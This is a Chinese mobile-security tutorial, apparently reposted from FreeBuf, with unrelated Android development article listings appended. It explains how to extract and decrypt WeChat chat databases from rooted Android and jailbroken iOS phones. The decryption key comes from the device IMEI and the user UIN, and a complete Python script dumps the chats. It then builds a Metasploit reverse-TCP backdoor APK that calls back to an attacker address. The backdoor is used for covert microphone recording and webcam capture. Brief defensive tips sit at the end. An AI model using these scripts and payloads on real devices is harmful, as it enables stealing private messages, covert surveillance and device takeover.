移动安全初探:窃取微信聊天记录、Hacking Android with Metasploit

简介: 在这篇文章中我们将讨论如何获取安卓、苹果设备中的微信聊天记录,并演示如何利用后门通过Metasploit对安卓设备进行控制。文章比较基础、可动手性强,有设备的童鞋不妨边阅读文章边操作,希望能激发大家对移动终端的安全兴趣。

在这篇文章中我们将讨论如何获取安卓、苹果设备中的微信聊天记录,并演示如何利用后门通过Metasploit对安卓设备进行控制。文章比较基础、可动手性强,有设备的童鞋不妨边阅读文章边操作,希望能激发大家对移动终端的安全兴趣。

(文章内容存在一定攻击性,目的在于普及终端安全知识、提高安全意识,如有非法使用,后果自负)

“如何获取Android、iPhone手机上的微信聊天记录? ”

0×00 条件:

安卓设备已获取root权限,安装SSHDroid(通过ssh、ftp连接手机)

Apple设备越狱,安装OpenSSH插件

0×01 安卓:

很多安卓手机的用户都会遇到这么一个尴尬的问题:手机用久了就不知不觉变得慢了,最后慢到什么都迟钝了。为了解决这个问题和大多数人一样我选择了root设备。

安卓设备在root以后可以对系统文件存在最高级别的操作权限。比如,你在安卓设备上安装了微信,那么root以后通过adb shell你能对微信App的文件配置进行读取修改等操作。

Android应用程序的数据库文件通常会保存在 /data/data/packagename/database 文件夹下,微信App文件存放路径为:/data/data/com.tencent.mm/MicroMsg

首先通过FTP把文件down到本地:

以34位编码(类似于乱码)命名的文件夹中可找到微信账号的加密数据库文件 :EnMicroMsg.db

用数据库管理器打开:提示加密或者不是数据库文件

这里可以用windows环境下的SQLite Database Browser浏览器打开:

提示输入密码:

那么,加密数据库使用的密码是什么呢?我们又该如何获取到这个密码?通过上网查资料了解到:微信采用手机的IMEI值和微信UIN值的组合来对数据进行加密。

微信账号uin:即user information 微信用户信息识别码,获取微信UIN的方式有两种:

1.通过微信app的“system_config_prefs.xml”配置文件获取微信账号uin;

2.通过抓取WEB版微信聊天的数据包获取到uin。

1.1 App 配置文件

find / -name “system_config_prefs.xml”

/data/data/com.tencent.mm/shared_prefs/system_config_prefs.xml

cat /data/data/com.tencent.mm/shared_prefs/system_config_prefs.xml | grep uin

<int name="default_uin" value="146****21" />

1.2 谷歌chrome浏览器登陆WEB版微信:

登陆后新建窗口并访问chrome://net-internals/#events

发送信息 抓包 find uin值

uin:146****21

通过上述两种方法找到的uin值是相同的。

安卓拨号界面输入*#06#获得手机IMEI码:354**********85

IMEI值+uin值组合即为354**********85146****21

md5: http://www.spriteking.com/cmd5/ 左侧加密

得到32位小写md5值:1cbf8b842f8bf650aa65e5d3ced07735取其前七位:1cbf8b8输入到sql浏览器中。

Linux、Mac用户也可以在终端执行:

echo -n "354**********85146****21" | md5sum | cut -c -7

成功打开微信的数据库文件:

Wechat2txt.py:gist.github.com

import os
import sys
import re
import hashlib
import csv
import time
import locale
import getopt




def get_db():
    os.popen('adb root').close()
    text = os.popen(
        'adb shell ls /data/data/com.tencent.mm/MicroMsg/*/EnMicroMsg.db').read()
    return text.splitlines()[- 1] if text else ''




def get_default_uin():
    os.popen('adb root').close()
    text = os.popen(
        'adb shell cat /data/data/com.tencent.mm/shared_prefs/system_config_prefs.xml').read()
    default_uin = re.findall(
        'name="default_uin" value="([0-9]+)"', text)
    return default_uin[0] if default_uin else 0




def get_device_ID():
    text = os.popen('adb shell dumpsys iphonesubinfo').read()
    device_ID = re.findall('Device ID = ([0-9]+)', text)
    return device_ID[0] if device_ID else 0




def get_md5():
    default_uin = get_default_uin()
    device_ID = get_device_ID()
    if default_uin and device_ID:
        return hashlib.md5(device_ID + default_uin).hexdigest()[0: 7]
    return ''




def parse_msgcsv(msgcsv):
    locale.setlocale(locale.LC_ALL, '')
    if hasattr(msgcsv, 'title'):
        msgcsv = [ooOoo0O + '\n' for ooOoo0O in msgcsv.splitlines()]
        pass
    OooO0 = csv.reader(msgcsv)
    OooO0.next()
    for ooOoo0O in OooO0:
        try:
            II11iiii1Ii, OO0o, Ooo, O0o0Oo, Oo00OOOOO, O0O, O00o0OO, name, iIi1ii1I1, o0, I11II1i, IIIII = ooOoo0O[
                : 12]
            pass
        except:
            continue
        ooooooO0oo = 'me' if (Oo00OOOOO == '1') else name
        IIiiiiiiIi1I1 = time.localtime(int(O00o0OO) / 1000)
        I1IIIii = time.strftime("%Y-%m-%d %a %H:%M:%S", IIiiiiiiIi1I1)
        yield [name, I1IIIii, ooooooO0oo, iIi1ii1I1, o0]
        pass
    pass




def get_names(chat):
    names = {}
    for name, I1IIIii, ooooooO0oo, iIi1ii1I1, o0 in chat:
        names[name] = 1
        pass
    return names.keys()




def oo(chat, name=''):
    text = []
    name = name.lower()
    for name, I1IIIii, ooooooO0oo, iIi1ii1I1, o0 in chat:
        iIi1ii1I1 = iIi1ii1I1.replace('\n', '\n  ')
        o0 = ('\t' + o0) if o0 else ''
        if not name:
            text.append('%s: %s %s: %s %s' %
                        (name, I1IIIii, ooooooO0oo, iIi1ii1I1, o0))
            pass
        elif name.lower() == name:
            text.append('%s %s: %s %s' %
                        (I1IIIii, ooooooO0oo, iIi1ii1I1, o0))
            pass
        pass
    return '\n'.join(text) + '\n'




def IIIii1II1II(dbn, key=''):
    child_stdin, child_stdout = os.popen2(['sqlcipher', dbn])
    if key:
        child_stdin.write('PRAGMA key=%s;\n' % ` key `)
        child_stdin.write('pragma cipher_use_hmac=off;\n')
        pass
    child_stdin.write('.tables\n')
    child_stdin.close()
    return child_stdout.read().split()




def decrypt(dbn, key='', table='message'):
    table = table or 'message'
    child_stdin, child_stdout = os.popen2(['sqlcipher', dbn])
    child_stdin.write('.header on\n')
    child_stdin.write('.mode csv\n')
    if key:
        child_stdin.write('PRAGMA key=%s;\n' % ` key `)
        child_stdin.write('pragma cipher_use_hmac=off;\n')
        pass
    child_stdin.write('select * from %s;\n' % ` table `)
    child_stdin.close()
    return child_stdout.read()




def wechat2txt(names=[]):
    in_file = 'EnMicroMsg.db'
    out_file = 'message.csv'
    db = get_db()
    md5 = get_md5()
    os.popen('adb wait-for-device')
    os.popen('adb pull %s %s' % (db, in_file)).close()
    msgcsv = decrypt(in_file, md5)
    if msgcsv.find('\n') < 0:
        return 1
    file(out_file, 'w').write(msgcsv)
    msgs = list(parse_msgcsv(msgcsv))
    if not msgs:
        return 1
    if not names:
        names = get_names(msgs)
        pass
    for name in names:
        filename = 'message.%s.txt' % name
        text = oo(msgs, name)
        if len(text) > 4:
            file(filename, 'w').write(text)
            pass
        pass
    pass


help_msg = '''Usage: wechat2txt.py [OPTIONS] [NAME]...

OPTIONS:
    -h        display this help and exit
'''




def main():
    try:
        opts, args = getopt.getopt(sys.argv[1:], 'h')
    except getopt.error, e:
        print help_msg
        return 1
    for opt, arg in opts:
        if opt == '-h':
            print help_msg
            return 1
        pass
    names = args
    text = wechat2txt(names)
    return not text


if __name__ == "__main__":
    sys.exit(main())

0×02 苹果:

Apple设备越狱后可通过Cydia安装各种小插件,通常情况我会安装OpenSSH来使自己能通过终端连接到Apple设备中,并使用sftp传输文件:

iOS中,应用文件夹以hash值命名,要导出微信、QQ的聊天记录其难度相对安卓来说稍微复杂很多。

在实际操作中我们可以通过巧用Linux命令(find、grep、xargs)来绕过这些坑。

find /var/mobile/Containers/Data -name "MM.sqlite" 

mkdir /cache
find /var/mobile/Containers/Data -name "MM.sqlite" |xargs -I {} dirname {} | xargs -I {} cp -r  {}/../../ /cache

在越狱iOS窃取隐私可参考:隐匿在iOS文件系统中的隐私信息 一文

0×03 在安卓终端植入后门

3.1 实验环境

Kali Linux(Hack):192.168.31.213

Android(靶机):192.168.31.118

3.2生成后门文件:

cd Desktop
msfpayload android/meterpreter/reverse_tcp LHOST=192.168.31.213 LPORT=443 R >0xroot.apk

3.3 运行metasploit控制台

msfconsole

use exploit/multi/handler
set payload android/meterpreter/reverse_tcp
set LHOST 192.168.31.213
set LPORT 443
run

3.4 安装&运行后门App

后门能进行什么操作?我们来看看usage:

meterpreter > help

Core Commands
=============

    Command                   Description
    -------                   -----------
    ?                         Help menu
    background                Backgrounds the current session
    bgkill                    Kills a background meterpreter script
    bglist                    Lists running background scripts
    bgrun                     Executes a meterpreter script as a background thread
    channel                   Displays information about active channels
    close                     Closes a channel
    disable_unicode_encoding  Disables encoding of unicode strings
    enable_unicode_encoding   Enables encoding of unicode strings
    exit                      Terminate the meterpreter session
    help                      Help menu
    info                      Displays information about a Post module
    interact                  Interacts with a channel
    irb                       Drop into irb scripting mode
    load                      Load one or more meterpreter extensions
    quit                      Terminate the meterpreter session
    read                      Reads data from a channel
    resource                  Run the commands stored in a file
    run                       Executes a meterpreter script or Post module
    use                       Deprecated alias for 'load'
    write                     Writes data to a channel


Stdapi: File system Commands
============================

    Command       Description
    -------       -----------
    cat           Read the contents of a file to the screen
    cd            Change directory
    download      Download a file or directory
    edit          Edit a file
    getlwd        Print local working directory
    getwd         Print working directory
    lcd           Change local working directory
    lpwd          Print local working directory
    ls            List files
    mkdir         Make directory
    pwd           Print working directory
    rm            Delete the specified file
    rmdir         Remove directory
    search        Search for files
    upload        Upload a file or directory


Stdapi: Networking Commands
===========================

    Command       Description
    -------       -----------
    ifconfig      Display interfaces
    ipconfig      Display interfaces
    portfwd       Forward a local port to a remote service
    route         View and modify the routing table


Stdapi: System Commands
=======================

    Command       Description
    -------       -----------
    execute       Execute a command
    getuid        Get the user that the server is running as
    ps            List running processes
    shell         Drop into a system command shell
    sysinfo       Gets information about the remote system, such as OS


Stdapi: Webcam Commands
=======================

    Command       Description
    -------       -----------
    record_mic    Record audio from the default microphone for X seconds
    webcam_list   List webcams
    webcam_snap   Take a snapshot from the specified webcam

record_mic 通过手机麦克风进行窃听、录音;

webcam_list 列出安卓设备的所有摄像头;

webcam_snap 通过摄像头进行偷拍…

等等

0×04 演示视频

0×05 APK后门分析:

把apk放到apk分析工具(apkStudio、Bytecodeviewer)进行解包,我们来看看后门App的源码:

(apkStudio)

在smali/com/metasploit/stage/MainActivity.smali中我们可以找到后门服务器的ip端口配置:

(apkStudio)

(Bytecodeviewer)

0×06 预防&安全建议

安卓:从可信来源下载应用程序,避免感染恶意程序;在移动充电桩充电前及时关闭USB调试。

苹果:越狱后及时修改root密码,避免使用默认密码、弱口令。

0×07 文中工具下载地址:

SQLite Database Browser:http://pan.baidu.com/s/1nuWlDgd

SSHDroid:http://pan.baidu.com/s/1b6PBK6

0×08 参考&感谢

How To Decrypt WeChat EnMicroMsg.db Database?

Android微信数据导出

微信聊天记录分析

A look at WeChat security

https://gist.github.com/scturtle/724801

隐匿在iOS文件系统中的隐私信息

Hacking Android Smartphone Tutorial using Metasploit

原文地址:http://www.freebuf.com/articles/terminal/107801.html

相关文章
|
4天前
|
Linux 编译器 Android开发
FFmpeg开发笔记(九)Linux交叉编译Android的x265库
在Linux环境下,本文指导如何交叉编译x265的so库以适应Android。首先,需安装cmake和下载android-ndk-r21e。接着,下载x265源码,修改crosscompile.cmake的编译器设置。配置x265源码,使用指定的NDK路径,并在配置界面修改相关选项。随后,修改编译规则,编译并安装x265,调整pc描述文件并更新PKG_CONFIG_PATH。最后,修改FFmpeg配置脚本启用x265支持,编译安装FFmpeg,将生成的so文件导入Android工程,调整gradle配置以确保顺利运行。
24 1
FFmpeg开发笔记(九)Linux交叉编译Android的x265库
|
27天前
|
Java Android开发
Android 开发获取通知栏权限时会出现两个应用图标
Android 开发获取通知栏权限时会出现两个应用图标
14 0
|
1月前
|
XML 缓存 Android开发
Android开发,使用kotlin学习多媒体功能(详细)
Android开发,使用kotlin学习多媒体功能(详细)
103 0
|
1月前
|
设计模式 人工智能 开发工具
安卓应用开发:构建未来移动体验
【2月更文挑战第17天】 随着智能手机的普及和移动互联网技术的不断进步,安卓应用开发已成为一个热门领域。本文将深入探讨安卓平台的应用开发流程、关键技术以及未来发展趋势。通过分析安卓系统的架构、开发工具和框架,本文旨在为开发者提供全面的技术指导,帮助他们构建高效、创新的移动应用,以满足不断变化的市场需求。
18 1
|
1月前
|
机器学习/深度学习 调度 Android开发
安卓应用开发:打造高效通知管理系统
【2月更文挑战第14天】 在移动操作系统中,通知管理是影响用户体验的关键因素之一。本文将探讨如何在安卓平台上构建一个高效的通知管理系统,包括服务、频道和通知的优化策略。我们将讨论最新的安卓开发工具和技术,以及如何通过这些工具提高通知的可见性和用户互动性,同时确保不会对用户造成干扰。
33 1
|
1天前
|
数据库 Android开发 开发者
安卓应用开发:构建高效用户界面的策略
【4月更文挑战第24天】 在竞争激烈的移动应用市场中,一个流畅且响应迅速的用户界面(UI)是吸引和保留用户的关键。针对安卓平台,开发者面临着多样化的设备和系统版本,这增加了构建高效UI的复杂性。本文将深入分析安卓平台上构建高效用户界面的最佳实践,包括布局优化、资源管理和绘制性能的考量,旨在为开发者提供实用的技术指南,帮助他们创建更流畅的用户体验。
|
18天前
|
XML 开发工具 Android开发
构建高效的安卓应用:使用Jetpack Compose优化UI开发
【4月更文挑战第7天】 随着Android开发不断进化,开发者面临着提高应用性能与简化UI构建流程的双重挑战。本文将探讨如何使用Jetpack Compose这一现代UI工具包来优化安卓应用的开发流程,并提升用户界面的流畅性与一致性。通过介绍Jetpack Compose的核心概念、与传统方法的区别以及实际集成步骤,我们旨在提供一种高效且可靠的解决方案,以帮助开发者构建响应迅速且用户体验优良的安卓应用。
|
21天前
|
监控 算法 Android开发
安卓应用开发:打造高效启动流程
【4月更文挑战第5天】 在移动应用的世界中,用户的第一印象至关重要。特别是对于安卓应用而言,启动时间是用户体验的关键指标之一。本文将深入探讨如何优化安卓应用的启动流程,从而减少启动时间,提升用户满意度。我们将从分析应用启动流程的各个阶段入手,提出一系列实用的技术策略,包括代码层面的优化、资源加载的管理以及异步初始化等,帮助开发者构建快速响应的安卓应用。
|
21天前
|
Java Android开发
Android开发之使用OpenGL实现翻书动画
本文讲述了如何使用OpenGL实现更平滑、逼真的电子书翻页动画,以解决传统贝塞尔曲线方法存在的卡顿和阴影问题。作者分享了一个改造后的外国代码示例,提供了从前往后和从后往前的翻页效果动图。文章附带了`GlTurnActivity`的Java代码片段,展示如何加载和显示书籍图片。完整工程代码可在作者的GitHub找到:https://github.com/aqi00/note/tree/master/ExmOpenGL。
22 1
Android开发之使用OpenGL实现翻书动画
|
21天前
|
Android开发 开发者
Android开发之OpenGL的画笔工具GL10
这篇文章简述了OpenGL通过GL10进行三维图形绘制,强调颜色取值范围为0.0到1.0,背景和画笔颜色设置方法;介绍了三维坐标系及与之相关的旋转、平移和缩放操作;最后探讨了坐标矩阵变换,包括设置绘图区域、调整镜头参数和改变观测方位。示例代码展示了如何使用这些方法创建简单的三维立方体。
18 1
Android开发之OpenGL的画笔工具GL10